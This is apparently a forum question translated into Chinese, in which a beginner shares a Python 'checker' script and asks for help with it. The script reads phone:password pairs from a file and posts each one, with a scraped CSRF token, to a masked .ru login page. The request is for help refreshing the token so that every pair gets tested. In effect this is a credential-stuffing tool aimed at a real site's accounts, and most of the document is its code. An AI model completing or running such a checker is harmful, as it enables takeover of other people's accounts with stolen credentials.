我为该站点编写了一个检查器,该站点为每个新请求发送一个令牌
<meta name="csrf-token" content="YWkbF2WVwqUv1eQyuJcm_J1NDQwu8IqptT2w2i4SiBAlAVNyCaKjwBq5plbp0B-zyn5CP22f8N3vZcnqGWjgYQ==">
我的 python 代码看起来像这样
import requests
from bs4 import BeautifulSoup
file = open('1.txt').read().split('\n')
url = 'https://****.ru/auth/login'
headers = {'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36'}
session = requests.Session()
session.headers.update(headers)
r = session.get(url)
soup = BeautifulSoup(r.content, 'html.parser')
csrf = soup.find('meta', {'name': 'csrf-token'})['content']
url_auth = 'https://****.ru/auth/login'
for account in file:
phone = account.split(":")[0]
password = account.split(":")[1]
u = phone
p = password
payload = {
'_csrf': csrf,
'LoginForm[login]': phone,
'LoginForm[password]': password,
}
r = session.post(url_auth, data=payload)
print(r.text)
首次登录账户前的代码检查,其余账户被认为无效,我需要该行
csrf = soup.find('meta', {'name': 'csrf-token'})['content']
随每个新请求更新。请告诉我如何做到这一点,不要骂太多这是我生命中的第一个代码:)